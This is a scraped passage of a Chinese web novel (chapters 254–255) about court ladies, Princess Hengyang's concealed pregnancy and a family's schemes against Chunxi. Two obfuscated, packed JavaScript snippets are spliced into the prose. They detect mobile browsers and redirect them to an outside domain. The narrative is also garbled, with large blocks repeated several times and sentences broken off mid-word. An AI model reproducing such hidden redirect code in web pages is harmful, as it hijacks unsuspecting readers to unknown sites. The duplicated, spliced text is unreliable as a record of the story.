李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在下人的带领下穿过重重的门,走过长廊,终于来到一座安静的院中。 屋里,云晚棠喝了口茶,柔柔开口:“听说你儿子才几个月大,怎么没带着一起来?” 看样子公主还很喜欢阿喜,以后应该没有什么人敢欺负阿喜了。 曹武替春喜高兴着,夜里睡得很香,钱氏却是彻夜辗转未眠。 她早就知道春喜做了官夫人,还嫁入了侯府,但春喜的婚礼办得很简单,而且在侯府遇到了很多纷争,甚至不知道得罪了什么人,害得正儿和婆母都受到了牵连。 钱氏一直觉得春喜的日子并没有婆母和街坊四邻说的那么光鲜,可今天看到恒阳公主对春喜那么好,钱氏才突然意识到,春喜也成了高不可攀的贵人。 第二日,曹武照常去上工,他才刚走,李婶就找了过来:“怎么样,阿喜答应让你们娘俩入府了吗?” “没有。” “她怎么这样啊,反正都是要花钱请人的,干什么非要请外人,你可是她的亲大嫂,你都拉下脸主动找她了,她怎么就不知道拉扯一下家里人?” 李婶情绪激动,比钱氏还要生气。 钱氏小声嗫嚅:“李婶你误会了,这事不怪阿喜。” 是她听到公主找了宫里的嬷嬷,没脸说自己能比那两位嬷嬷照顾得更好。 李婶没把钱氏的话听进去,转而道:“我知道另外一户好人家也在招奶娘,我跟中间人说了你的情况,他们觉得你挺合适的,你要不要去试试?” “李婶,我不行……” 钱氏立刻摇头拒绝。 她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在下人的带领下穿过重重的门,走过长廊,终于来到一座安静的院中。 屋里,云晚棠喝了口茶,柔柔开口:“听说你儿子才几个月大,怎么没带着一起来?” 看样子公主还很喜欢阿喜,以后应该没有什么人敢欺负阿喜了。 曹武替春喜高兴着,夜里睡得很香,钱氏却是彻夜辗转未眠。 她早就知道春喜做了官夫人,还嫁入了侯府,但春喜的婚礼办得很简单,而且在侯府遇到了很多纷争,甚至不知道得罪了什么人,害得正儿和婆母都受到了牵连。 钱氏一直觉得春喜的日子并没有婆母和街坊四邻说的那么光鲜,可今天看到恒阳公主对春喜那么好,钱氏才突然意识到,春喜也成了高不可攀的贵人。 第二日,曹武照常去上工,他才刚走,李婶就找了过来:“怎么样,阿喜答应让你们娘俩入府了吗?” “没有。” “她怎么这样啊,反正都是要花钱请人的,干什么非要请外人,你可是她的亲大嫂,你都拉下脸主动找她了,她怎么就不知道拉扯一下家里人?” 李婶情绪激动,比钱氏还要生气。 钱氏小声嗫嚅:“李婶你误会了,这事不怪阿喜。” 是她听到公主找了宫里的嬷嬷,没脸说自己能比那两位嬷嬷照顾得更好。 李婶没把钱氏的话听进去,转而道:“我知道另外一户好人家也在招奶娘,我跟中间人说了你的情况,他们觉得你挺合适的,你要不要去试试?” “李婶,我不行……” 钱氏立刻摇头拒绝。 她胆子小,没接触过多少人,跟春喜熟悉才会被李婶说动,要是去陌生人家里,她想想就害怕。 李婶立刻道:“那位夫人现在还没生,你去了什么都不用做,吃好喝好把奶水养足一个月就能拿十两银子,这样的差事打着灯笼都难找,你当真不要?” “……” 钱氏咬唇,又动摇起来。 第二日,李婶带着钱氏去了太傅府。 两人从侧门进,在下人的带领下穿过重重的门,走过长廊,终于来到一座安静的院中。 屋里,云晚棠喝了口茶,柔柔开口:“听说你儿子才几个月大,怎么没带着一起来?” 第254章 去父留子 恒阳公主怀孕的反应比春喜大,不仅吃不下什么东西,对气味也敏感得很,稍不留神就会想吐。 打着关心春喜的名号,恒阳公主又住了下来。 那两个嬷嬷确实很有经验,春喜说气味难闻,她们就把府里各处都熏上陈皮香,春喜说吃不下东西,她们也能想法子做出不油腻还滋补的膳食。 这日午后,恒阳公主刚吃了口燕窝就扔下勺子,气愤道:“我觉得那个狗东西就是克我,所以这孩子才这样折腾我,怀孕实在是太遭罪了,这逆子本公主不要了! 恒阳公主说完提步就往外走,春喜还没来得及劝阻,下人便来禀报。 驸马来了。 方才还气势汹汹说不要孩子的恒阳公主立刻折返回来坐下,同时警告春喜:“阿喜,咱俩是一伙的,你可别乱说话。 春喜点点头,抿紧唇瓣表明自己不会多话。 她是没有向驸马告密的,但她家大人察觉真相非要告诉驸马就不能怪她了。 正想着,驸马抱着锦鼠走了进来。 比起冬猎的时候,这只锦鼠明显圆润了不少,灰色毛发也变得油亮油亮的,被驸马抱在怀里像只圆滚滚的**球,只有一双葡萄似的大眼睛露在外面,可爱极了。 恒阳公主拨弄着燕窝,没看温砚书,漫不经心地开口:“本公主就是来找阿喜聊聊天,你巴巴地跟来做什么,没自己的事可做了? 一个大男人成天无所事事,只知道追着女人跑,这话怪伤人的。 温砚书却早已**以为常,他点点头道:“我没有官职在身,确实没什么事可做,而且小灰想公主了,这两日见不到公主,它连东西都不怎么吃了。 小灰是这只锦鼠的名字,恒阳公主不想显得太重视它,就按照**色随便给他取了这么个名字。 小灰很通人性,每次恒阳公主喂食,它都会亲昵地用脑袋蹭她的手,还会四脚朝天、亮出肚皮给她摸。 到底养了几日有感情了,恒阳公主有些绷不住,看看温砚书又看看小灰,最终开口:“拿过来我看看。 温砚书立刻把小灰递给恒阳公主,又掏出一把瓜子放到恒阳公主面前的小几上。 过了冬至天气越发的冷,前两日还下过一场雪,这会儿屋里虽然烧着炭也还是有些冷,但小灰却被温砚书抱得浑身暖烘烘的,像个天然的小手炉。 圆滚滚毛茸茸又暖乎乎的小东西一到手里,恒阳公主就忍不住弯了眸,她拿起一颗瓜子喂给小灰,刚想再说些什么,胃里又是一阵翻涌。 恶心感来得太快太猛烈,恒阳公主来不及遮掩,偏头把刚刚吃下去的燕窝呕了出来。 温砚书立刻起身走到恒阳公主面前,一手扶着她的肩膀,一手帮她拍着背舒缓,同时对春喜道:“劳烦沈夫人帮公主倒一杯水。 春喜立刻倒了水来。 温砚书接过吹了吹才递给恒阳公主,关切地问:“公主从冬猎回来就食欲不振,这都好些天了,继续拖下去不是办法,还是请御医看看吧,若是有什么病早些治疗也能早点好起来。 “狗东西,你才有病!恒阳公主没好气地骂了一句,她喝了两口水,感觉不够解气,又继续骂,“本公主变成这样都是被你害的,你倒是爽了,凭什么让本公主遭罪? “公主这话从何说起,我难道还敢加害公主? 温砚书一脸无辜,恒阳公主感觉胸口还是闷得慌,气得踢了温砚书一脚:“好啊,你现在都敢跟本公主顶嘴了,等这孩子生下来,你岂不是要骑到本公主头上拉屎? 这话一出,满室寂静,只有眼睁睁看着瓜子却吃不到的小灰焦急地发出叽叽的声音。 温砚书的表情骤然变得严肃:“公主怀孕了? 恒阳公主知道自己说漏了嘴,却还是嘴硬地否认:“没有,本公主刚刚说的是万一生了孩子,你会更加肆无忌惮,不是说现在就怀了,你听错了。 “我听得很清楚,公主怀孕了,温砚书否认,不等恒阳公主反驳又笃定道,“公主不想要这孩子。 温砚书直勾勾地看着恒阳公主,眼底满满的都是委屈控诉。 恒阳公主莫名有些心虚,一时不知该如何回答,下一刻,又听到温砚书说:“之前是公主说想要个孩子,要跟我借种我才如此的,若是公主只是想**我,大可让我服药,何必等真的有了孩子又不要,公主就算不怜惜这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033060|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孩子,也不该伤害自己的身体不是吗? 说到最后,温砚书红了眼,像是气急,又像是马上就会哭出来。 恒阳公主在心虚之余,生出了两分破坏欲。 驸马这张脸,真的好适合被弄哭啊。 恒阳公主正走着神,春喜小心翼翼的声音传来:“那个……我看炭好像不够了,我去加点儿炭来。 不等恒阳公主回答,春喜一溜烟地跑了。 出了房间,春喜还因为驸马的话震惊不已。 借种?**? 怎么听着公主有点渣? 屋里,恒阳公主小声辩解:“我没说我不要这个孩子。 “那公主为什么不肯承认自己怀孕,要如此藏着掖着,难道公主是想去父留子,所以觉得我不配知道?” 温砚书步步紧逼,明明看着很脆弱,却敏锐直接地可怕。 恒阳公主没想好借口,一时有点慌,底气不足道:“你除了这张脸也没什么能让本公主开心的,本公主想去父留子又怎么了,你反正也不是非本公主不可,大不了和离之后,本公主允你再娶就是了。” 温砚书原本是扶着恒阳公主的,听到最后一句话,陡然松开手,喃喃道:“原来公主早就计划好一切了。” 肩上的重量消失,恒阳公主的心脏跟着失重,她想说些什么,却又不知道该怎么开口。 本来怀孕吃不下东西就烦,这狗东西还非要来问这些就更烦了。 这孩子她也没说一定不要,就不能让她再想想吗? 恒阳公主心烦意乱,温砚书却再度开口:“公主做的决定我不敢违背,但这孩子毕竟是我的,这几个月还请公主让我继续在身边照顾,等公主平安生下孩子,我自会离开,绝不纠缠。” 恒阳公主:“……” 主院外,虎叔找到春喜:“你大嫂带着孩子去了太傅府做了奶娘,林豹会继续在太傅府盯着她,你大哥那里,以后我去盯。” 虎叔和豹叔不喜欢闲着,在春喜这里安稳下来后,豹叔去了曹家暗中保护,虎叔则把那些护院全都加强训练了一番。 春喜掩下讶异,点点头:“辛苦虎叔了。” 第255章 卫凌泽失忆 那夜萧清禾来过以后,卫凌泽就一病不起,整个凌枫院再一次被药味染透。 卫凌泽再次被停了职,又闹出了偷养外室和私生子的丑闻,穆氏还在外面闹个不停,卫家其他儿郎难免被波及,几个妯娌碰面,免不了阴阳云氏几句,怪她身为当家主母,却没有教好儿子,也怪卫凌泽身为长子长孙,却承受不起挫折,心浮气躁。 云氏既要照顾卫凌泽,又要跟其他几房的人周旋,一时身心俱疲。 这日卫凌泽喝了药刚睡下,云晚棠就来了。 “阿姐,泽儿现在如何了?这几日家里事多,妍姐儿又不小心染了风寒,我实在是没能抽出时间来看他。” 一见面,云晚棠就关切出声,她言辞恳切,脸上也满是担忧,瞧着倒是真心实意,云氏却不像是之前见到云晚棠那样热切。 卫家交际甚广,云氏回来后不用特意派人去查探,随便找人一问,就知道春喜那日不是在挑拨离间,的确是云晚棠先当着皇后和众人的面提起萧清禾跟卫凌泽感情不和的事,还把过错都怪到春喜头上。 春喜不想背搅家精的锅,便把卫凌泽偷偷在云州养外室和私生子的事说了出来。 虽然外室子这事是春喜凭空杜撰、故意栽赃的,但云晚棠这个做小姨的当着那么多人的面拿小两口感情不和的事向春喜发难,实在是半点儿没有为卫凌泽着想。 想到这里,云氏淡淡开口:“泽儿是大人了,府里这么多人守着,不会出什么事,你还是多花些精力照顾妍姐儿吧。” 云氏的语气和表情都透着冷淡,云晚棠敏锐道:“发生什么事了,可是有人在阿姐面前说了什么,阿姐怎么对我如此冷淡?” 毕竟是自己的亲妹妹,云氏不想跟云晚棠撕破脸,只想慢慢疏远,摇头道:“没有,只是最近事情太多,有些累了,你别多想。” 云氏给了云晚棠体面,云晚棠却没有顺着台阶就下,反而拉着云氏的手说:“阿姐,从小到大,你对我是最好的,我若连你是累了还是不想理我都分不清,就不配做你妹妹了。” 云晚棠很坚持,看向云氏的眼神也带着受伤。 云氏抿了抿唇,最终还是开口:“冬猎时,你为何要当着皇后和那么多世家夫人的面提起泽儿和禾儿感情不和的事?” 别人不知道萧清禾为什么会突然回娘家去住,云晚棠定然是知道的,毕竟下药之事就是她鼓励云氏去做的。 “禾儿去参加冬猎,却不和泽儿同坐,甚至连一句话都不说,明眼人都能看出他们的感情出 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033061|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 